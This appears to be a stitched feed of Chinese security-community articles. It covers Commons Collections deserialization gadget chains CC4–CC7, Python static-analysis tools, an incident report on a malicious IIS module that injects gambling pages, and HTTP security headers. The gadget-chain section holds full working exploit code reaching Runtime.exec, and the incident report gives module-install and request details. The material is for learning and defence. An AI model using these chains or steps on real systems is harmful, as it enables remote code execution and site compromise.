setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
## Commons Collections 5
测试环境：
* jdk 1.7
* Commons Collections 3.1
### 利用链
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
### 利用链分析
cc5的后半段与cc1相同，所以先把cc1的内容抄下来：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc1中说了，这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。
在cc5中用到的是TiedMapEntry中的toString方法：
public String toString() {
return this.getKey() + "=" + this.getValue();
}
跟进getValue方法：
public V getValue() {
return this.map.get(this.key);
}
可以发现这里对this.map调用了get方法，并将key传递进去，所以这里只需要令map为我们前面构造好的LazyMap，即可触发rce。
从上图中的定义可以发现，map以及key都是我们可控的，构造POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}
上面的代码即可实现任意命令执行，接下来我们需要找哪里调用了toString方法，在cc5中使用了BadAttributeValueExpException这个类。
BadAttributeValueExpException#readObject：
看看这个valObj是从哪里来的：
不难发现，这里是从Filed中取出来的，那么利用方式也就很清晰了，通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行。
POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
下面解释一些细节的问题：
* 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值？
以下为BadAttributeValueExpException的构造方法：
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
可以发现，如果我们直接将前面构造好的TiedMapEntry传进去，在这里就会触发toString，从而导致rce。此时val的值为UNIXProcess，这是不可以被反序列化的，所以我们需要在不触发rce的前提，将val设置为构造好的TiedMapEntry。否则就会报出下边的错误：
## Commons Collections 6
测试环境：
* jdk 1.7
* Commons Collections 3.1
### 利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
### 利用链分析
cc6的后半段链也和cc1是一样的，老规矩，我们先把cc1后半段的payload抄下来：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class cc6 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc5，通过对TiedMapEntry#toString方法的调用，触发了TiedMapEntry#getValue，从而触发了LazyMap#get完成后半段的调用。
而在cc6中则是通过TiedMapEntry#hashCode触发对TiedMapEntry#getValue的调用：
那么poc就是如下这样的：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc6 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.hashCode();
}
}
接着就需要找哪里触发了hashCode，cc6中使用的是HashMap#hash：
这里的k目前还不是我们可控的，所以需要找某个点调用了hash方法，并且传递的参数是我们可控的，这里用到了HashMap#put：
然而这里的key还是不是我们可控的，所以还需要找某个点调用了put方法，并且传递的第一个参数是我们可控的，最后找到了HashSet#readObject：
这里调用了map.put，其中map可以控制为HashMap，而传入的第一个参数e是用readObject取出来的，那么对应的我们就看看writeObject怎么写的：
情况很清晰明了了，我们需要控制传入map的keySet返回结果来控制变量。
POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
public class cc6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
Object node = array[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
别看下边复杂，其实最终的目的只是通过反射修改keySet的返回结果为[TiedMapEntry]而已。。
## Commons Collections 7
测试环境：
* jdk 1.8
* Commons Collections 3.1
### 利用链
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
### 利用链分析
cc7后半段与cc1相同，前半段（如何触发LazyMap#get）不同，老规矩，先把相同部分的payload抄下来。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.AbstractMap;
import java.util.HashMap;
public class cc7 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。
而cc7中更加的直接，通过AbstractMap#equals来触发对LazyMap#get方法的调用：
如果这里的m是我们可控的，那么我们设置m为LazyMap，即可完成后面的rce触发。
先寻找调用equals方法的点，cc7中使用了HashTable#reconstitutionPut：
这里的key如果是我们可控的，那么m就是我们可控的，接着在HashTable#readObject中调用了reconstitutionPut方法，并将key传递进去：
fine，链已经分析完了，接下来就是看如何对参数进行控制的问题了。
在readObject方法中传递进去的key，是使用readObject得到的，那么在writeObject处，也必然会有：
很明显了，这里传递的实际上就是HashTable#put时添加进去的key和value。
POC：
这里继续解释一下几个细节点：
* 为什么要调用两次put?
在第一次调用reconstitutionPut时，会把key和value注册进table中：
此时由于tab[index]里并没有内容，所以并不会走进这个for循环内，而是给将key和value注册进tab中。在第二次调用reconstitutionPut时，tab中才有内容，我们才有机会进入到这个for循环中，从而调用equals方法。这也是为什么要调用两次put的原因。
2.为什么调用的两次put其中map中key的值分别为yy和zZ?
图中箭头指向的地方，这里的index要求两次都一样，否则无法获取到上一次的结果，再看看index是哪里来的：
这里index的计算方式关键是hash，而hash是通过key.hashCode得来的，在java中有一个小bug：
"yy".hashCode() == "zZ".hashCode()
正是这个小bug让这里能够利用，所以这里我们需要将map中put的值设置为yy和zZ，使两次计算的index都一样，才能够进入到for循环中。
* 为什么在调用完HashTable#put之后，还需要在map2中remove掉yy？
这是因为HashTable#put实际上也会调用到equals方法：
当调用完equals方法后，map2的key中就会增加一个yy键，而这个键的值为UNIXProcess这个类的实例：
这个实例并没有继承Serializable，所以是无法被序列化存进去的，如果我们不进行remove，则会报出这样一个错误：
所以我们需要将这个yy键-值给移除掉，从这里也能明白，实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令，就需要把这个键给移除掉。
## 总结
在分析完cc所有的链（在官方仓库内的）后，可以得出如下结论，cc的链大抵分为三段：
* readObject触发
* 调用transform方法
* 触发后续链达到rce的目的
## 版本相关
* 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
* 2、4是Commons Collections 4.0以上中存在的反序列化链。
* 同时还对JDK的版本有要求，我使用的测试版本为1.7和1.8。
## 感谢
这是我初次接触反序列化，在复现学习的时候也遇到了很多坑...感谢以下的人对我提供的帮助：Lucifaer、sn00py、Passerby...
当然还学习了网上很多的文章，但是由于数量太多了...我就不放了。。本篇文章相当于在巨人的肩膀上写出来的，在这里统一感谢各位前辈的文章，如果这篇文章有什么错误的地方，欢迎指出来，我会对其进行修改。
* * * | 社区文章 |
翻译自：<https://medium.com/@prasincs/open-source-static-analysis-for-security-in-2018-part-1-python-348e9c1af1cd>
翻译：聂心明
我对静态分析工具的态度是即爱也恨。我喜欢他们，我使用他们并且在他们运行停止之前，我都无法交付产品。并且我讨厌他们，因为我目前对“安全和合规”的工作定义的相当广泛，偶尔，我会有一些关于安全代码和静态/动态代码审计中的一些问题。我决定选几种语言去看看开源社区的观点。很明显，这个不能代替严格的安全扫描，集成测试和渗透测试等在软件开发周期中不同的方面的测试。
这篇文章包含4种编程语言，这四种语言在我们公司中非常重要，但这并不意味着我们不用其他的语言。但这至少可以让我们对这些语言有一个很好的了解。我发现静态扫描有一点收敛。虽然类型检查正在复兴，但我们还需要一段时间才能让静态代码审计变得更加强大。
下面的语言我都会讲到，这篇文章我先讲python
* python
* java
* go
* JavaScript
目标不是那么完全，但是却很实用
**精确度** ：这个工具会有很多误报吗？以至于工程师最好的办法就是禁用它。
**实践性** ：这个工具会给我很多可实践的建议和例子吗？
**集成性** ：我能和我现有的工具搭配使用吗？
**可维护性** ：我不知道未来会发生什么，但是这个工具的可维护性怎么样？或者它是否有足够好的文档，以至于可以让我自己可以维护它？
资源：
这里有一份资源列表，里面包含了更多语言的静态分析工具:
<https://github.com/mre/awesome-static-analysis>
# python
从静态分析的角度来看，python是一个有趣的语言，它有AST包，但是很多代码可以在运行时被改变。围绕“pythonic”化的想法是存在的并且频繁的代码检查可能会发现一些问题，但是能在早期发现一些问题是极好的。
1. 检查你的requirements.txt
在2018年，几乎所有的python代码被运行和部署在虚拟环境中。这意味着，上游的依赖全部被记录在requirements.txt中。如果你没有这样做，请停下来，然后按照下面的说明去安装和使用虚拟环境。
<http://docs.python-guide.org/en/latest/dev/virtualenvs/>
我们使用safety（ <https://github.com/pyupio/safety>
）去检查我们的requirements.txt，到目前为止，他已经发现了很多有漏洞的上游库。只要可能，我们尽可能要使用最新版本的包。但是我不推荐这种方法。这虽然增加了很多痛苦，但是也避免了大量麻烦。无论何时，我需要分离上游包，我需要很快知道上游包的关系和我能做东西。
精确性：你能信任 <https://github.com/pyupio/safety-db> ？
实践性：这是伟大的，通常只要PyPi包升级是可用的，我们就能升级。
集成性：文件可以被方便的导入并且我们仅仅在我们的项目中运行一些的指令就可以了，只要发现有漏洞的包，它都会让项目的创建停止，并且报告错误。这也给工程师提供下一步的建议，并且可以不用去解析json。
safety check -r $TOPDIR/requirements.txt --full-report --json > $TOPDIR/safety-report.json
if [[ $open_vulnerabilities -gt 0 ]]; then
echo "$open_vulnerabilities open known vulnerabilities exist in packages, failing build"
safety check -r $TOPDIR/requirements.txt --full-report
exit 1
fi
可维护性：如果safety-db可行的话，我不知道为什么有些人或者有些组织不想拥有它。而且，为啥PyPI不做这个事情。
2.检查你的代码
所以上游的任何代码都没已知的漏洞，很好。现在让我在我的代码上运行bandit（ <https://github.com/openstack/bandit>
）。这个工具可以解析你的python代码并且允许你去选择要检查的错误类型。如果有一些误报，你可以用#nosec忽略这块代码。
**准确性** ：我发现在我测试的代码中都是相对准确的。
**实践性**
：这给要特别注意，无论怎样，工具提供多种方式去导出成不同的格式并且可以用`-lll`提高严格性，并且可以用`-iii`提高可信度。所以你如果想看最严格的情况和最可信的情况，你可以运行
bandit -lll -iii -r dir
**集成性**
：你可以使用`-f`这个标志把结果导出成csv,html,json,screen,txt或者xml。如果你想去分类，解说，或者导入JIRA中，这个功能都是非常有用的。
**可维护性** ：这看上去对我非常友好，这个项目被Openstack 管理并且它支持在自己的AST中做hook。所以我能看到更多新的应用场景。
明天，我将讨论关于Java代码静态分析工具的古往今来。 | 社区文章 |
**作者：知道创宇404积极防御实验室
日期：2021年1月25日**
## 1.概述
知道创宇404积极防御实验室近期通过创宇安全大脑——业务安全舆情监控平台陆续监测并预警了65个学校、政府及科研单位的学报和期刊采编系统存在相同的非法博彩广告页面。受影响的网站都使用某公司开发的期刊采编系统，该系统在高校、科研领域广泛应用。
“大发111888博彩组织”早在3年前就已存在，近期开始活跃。
## 2.攻击技术概要
“大发111888博彩组织”将博彩广告页面植入到其他网站做SEO优化，进一步让搜索引擎收录这些页面，利用搜索引擎的权重机制来提高博彩网站的排名和爆光度。如下图，百度收录了某高校网站的博彩页面：
图1 百度收录的博彩页面
直接点击搜索结果，可正常访问到博彩页面：
图2 博彩页面
通过某大学的授权，2021年1月15日至1月19日期间，我们在该校网站服务器的网站源文件、网络流量、进程行为、Web日志等综合分析，发现黑产组织在服务器的IIS上加载了恶意模块，当收到特定的HTTP请求时，该模块会从远程拉取博彩页面，最终呈现给用户浏览器。
图3 恶意模块工作流程
该模块隐蔽性较强，目前大多杀毒软件都还未能检测到，下图为VirusTotal对样本的检测结果：
图4 VirusTotal检测结果
# 3.详细分析
本次分析的网站服务器装有杀毒软件、EDR监控Agent、态势感知系统等安全软件，对这些安全软件的日志分析后，未发现针对植入博彩页面的告警，初步结论是博彩页面以某种可绕过安全设备检测的方式存在于服务器上。
对网站目录进行彻底排查：
* 未发现网站被植入Webshell；
* 网站目录中也未出现博彩页面；
* 由于网站是通过编译后的二进制形式运行的，研究人员通过逆向分析也未发现后门及网站本身被篡改的迹象；
* 检查了系统加载的驱动，也未发现使用类似Easy File Locker等软件通过加载内核驱动模块的方式隐藏文件。
所以，排除了网站本身问题。但总结出博彩页面存在两个规律：
* 所有以“/20”和“/abc”开头的路径，均可以访问到博彩页面，且IIS日志中也记录了成功访问的日志；
* 同服务器上所有网站都以相同规律存在博彩页面；
* IIS的URL Rewrite未做配置；
* 请求Referer包含了“”就能看到博彩页面，直接访问则是404错误；
* 在服务器上用<http://localhost>测试，可以复现博彩页面。
以上的规律让我们怀疑问题出在IIS服务上，又对IIS所有配置彻底排查，未发现异常的配置。
为了找出产生博彩页面的程序，用Process
Monitor对服务器一段时间内的网络连接、文件读取、注册表读取等进程行为捕获。在导出的135,234次进程行为中发现IIS进程有可疑的行为，会主动向IP
45.120.52.65（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.120.52.65)）发出HTTP请求：
图5 Process Monitor捕获的进程记录
行为日志如下：
"12:23:15.9151269","w3wp.exe","3036","TCP TCPCopy","WIN-IBPEF1J6BDC:49198 -> 45.120.52.65:http","SUCCESS","Length: 1460, seqnum: 0, connid: 0"
该IP还开放了多个服务端口：
图6 端口探测结果
通过反查域名，发现以下域名指向了该IP：
1.cmdxb.com
13.cmdxb.com
blog.cmdxb.com
ftp.cmdxb.com
mail.cmdxb.com
mx.cmdxb.com
server.cmdxb.com
www.shop.cmdxb.com
sx.cmdxb.com
vpn.cmdxb.com
vps.cmdxb.com
通过域名注册邮箱[[email protected]](mailto:[email protected])查出该邮箱历史上还注册过其他命名不正常的域名：
图7 该邮箱历史上注册过的其他域名
该邮箱的拼音即“大发”，与被植入的恶意页面标题相符合：
图8 博彩网站页面源码
进一步分析域名cmdxb.com的命名，可以看出其中命名规律，cmd意味着命令、控制的意思；xb是“学报”拼音的缩写，疑似黑客对控制目标用域名命名来做了分类。
通过抓包分析，当访问网站某些特殊路径，如以“/20”和“/abc”开头的页面时，IIS会从45.120.52.65（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.120.52.65)）上拉取博彩页面，最终呈现给访客的浏览器，如图：
图9 Wireshark抓包数据
最后，我们将分析焦点聚集在IIS上，使用“火绒剑”分析IIS进程w3wp.exe，发现IIS加载了一个叫webdac.dll的可疑模块，文件位于C:\Windows\System32\inetsrv\webdac.dll，如图：
图10 进程加载的模块
该文件也是最近才创建的，与其他系统文件时间不匹配：
图11 webdac.dll 文件属性
# 4.恶意样本分析
使用Ghidra分析webdac.dll，发现该模块注册到内存时的模块名叫fuck32.dat，如图：
图12 模块名
当收到对特定路径开头的HTTP请求后，该模块会构造特殊的HTTP请求发
向45.120.52.65（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.120.52.65)）来获得博彩页面：
GET /svf20201231cp1DKA/|受害者域名|svf| HTTP/1.1
Accept-Encoding: gzip
CLIENT-IP: 42.*.*.*
User-Agent: YisouSpider
X-IP: 42.*.*.*
X-Real-IP: 42.*.*.*
Host: sx.cmdxb.com
Cache-Control: no-cache
构造代码片段如下：
图13 代码片段
通过以上分析，我们将webdac.dll拷贝至实验环境中复现，将模块加载到IIS中：
C:\Windows\System32\inetsrv\appcmd.exe install module /name:WebDocModule /image:"C:\webdac.dll" /add:true
然后通过curl来复现：
curl 192.168.56.102/20 -e ‘http://www.baidu.com’
效果如下：
图14 复现结果
# 5.总结
高校网站一直以来都是博彩页面的重灾区，而黑产组织对博彩页面植入手段逐渐升级，从早期的篡改网站源码、上传博彩页面文件的粗暴方式，发展到现在的通过加载内核驱动模块、IIS模块来植入博彩页面，其手段的隐蔽性越来越强，检测难度也越来越大，各单位组织及站长除了要做好网站本身的安全防护，也需要加强主机层面的防护。
# 6.IoC列表
**文件MD5:**
webdac.dll：1a43227d3858466074c0b68a2eb5fc86
windows.dll：3d6b1d81eb7dcd4df86348ec02d3ec90
authapi.dll：6aa11e7106f033419de5bc83e52353df
**域名：**
*.cmdxb.com
**IP：**
45.120.52.65（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.120.52.65)）
* * * | 社区文章 |
这是整理网络上的各处内容的总结，有官方文档、有常见经验。在本文中，我将讨论应在Web服务器上配置哪些重要的HTTP标头，以提高服务器安全性。你将了解每个标头的作用是什么，以及利用其错误配置可以实施哪些攻击。以下是我将讨论的有趣HTTP标头的类型：
#### 防止攻击的服务器http标头
* HTTP严格传输安全性
* 内容安全政策
* 访问控制允许来源
* X-FrameOptions
* X-XSS-Protection
* X-Content-Type-Options
#### 泄漏信息的服务器标头
* Server
* X-Powered-By
* X-AspNet-Version
## HTTP标头的背景
客户端和Web服务器使用HTTP标头作为HTTP协议的一部分来共享信息。当我在浏览器的地址栏中输入URL或单击任何链接时，Web浏览器会发送包含客户端标头的HTTP请求，这时候HTTP响应会包含服务器标头。
不同HTTP标头，不过解释它们不是本文的目的。在[Mozilla的HTTP标头页面](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
"Mozilla的HTTP标头页面")上找到每个标头的参考和详细信息。我将讨论具有安全性影响的HTTP服务器标头。
## 防止攻击的服务器标头
### 1\. HTTP严格传输安全（HSTS）
HTTP严格传输安全性指示浏览器仅通过HTTPS访问Web服务器。在服务器上配置后，服务器将响应中的标头发送为`Strict-Transport-Security`。收到此标头后，浏览器将仅通过HTTPS将所有请求发送到该服务器。HSTS标头有3个指令：
* Max-age：这定义了仅通过HTTPS访问Web服务器的时间。此标头的默认值为31536000秒。这是HSTS有效的最长年龄（时间）。服务器会在每次新响应时更新此时间，从而防止其过期。
* IncludeSubDomains：这适用于网站子域的控制。
* Preload：Preload是硬编码到Google Chrome浏览器中的网站列表，只能通过HTTPS进行通信。网站的所有者可以提交其URL以包含在预加载列表中。此列表由Google维护，不过很多其他浏览器也使用它。可以在此处找到预加载列表：<https://chromium.googlesource.com/chromium/src/+/master/net/http/transport_security_state_static.json>
### 攻击场景
如果未启用HSTS，攻击者可以执行中间人攻击并从用户的Web会话中窃取敏感信息。想象一下，受害者连接到实际上是在攻击者的控制之下开放式Wi-Fi的时候。通过HTTP访问网站将允许攻击者拦截请求并读取敏感信息。（该站点使用HTTPS，但用户使用HTTP访问它，后来将其重定向到HTTPS）。如果同一用户之前访问过该网站，则浏览器中记录的HSTS详细信息将导致自动通过HTTPS建立连接。
### 2.内容安全政策
内容安全策略用于指示浏览器仅加载策略中定义的允许内容。这使用白名单方法告诉浏览器从哪里加载图像，脚本，CSS，小程序等。如果正确实施，此策略可防止利用跨站点脚本(XSS),ClickJacking和HTML注入攻击。
报头的名称是`Content-Security-Policy`其值可以用以下指令来定义：`default-src`,`script-src`,`media-src`,`img-src`。它们指定浏览器应加载这些类型资源（脚本，媒体等）的来源。
以下是一个示例设置：
`Content-Security-Policy: default-src 'self'; media-src media123.com
media321.com; script-src script.com; img-src *;`
这被浏览器解释为：
* default-src 'self'：从当前域加载所有内容
* media-src media123.com media321.com：媒体只能从media1.com和media2.com加载
* script-src script.com：脚本只能从script.com加载
* img-src *：可以从Web中的任何位置加载图像
有关内容安全策略的更多信息，请访问[Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP "Mozilla")。
### 3.访问控制允许原点
`Access-Control-Allow-Origin`是一个CORS（跨源资源共享）标头。此标头允许定义的第三方访问给定资源。此标题是同源策略所引起的限制的解决方法，它不允许两个不同的来源读取彼此的数据。
例如，如果站点ABC想要访问站点XYZ的资源，站点XYZ将使用站点ABC的`Access-Control-Allow-Origin`的地址响应。通过这种方式，站点XYZ告诉浏览器谁被允许访问其内容：
`Access-Control-Allow-Origin: SiteABC.com`
### 攻击场景
如果`Access-Control-Allow-Origin`配置不当，攻击者可以使用其他第三方网站从目标网站读取数据。许多开发人员使用通配符作为`Access-Control-Allow-Origin`标题，允许任何网站从他们的网站读取数据。
### 4\. Set-Cookie
应用程序设置的cookie值由`Set-Cookie`标头中的服务器发送。收到此标头后，浏览器将在Cookie标头中发送每个HTTP请求的cookie 。
HTTP cookie通常包含敏感信息（尤其是会话cookie），需要保护它们以防止未经授权的访问。
可以设置以下属性来保护cookie：
* Secure：使用此属性设置的cookie将仅通过HTTPS发送，而不是通过明文HTTP协议（易受删除的方式）发送。
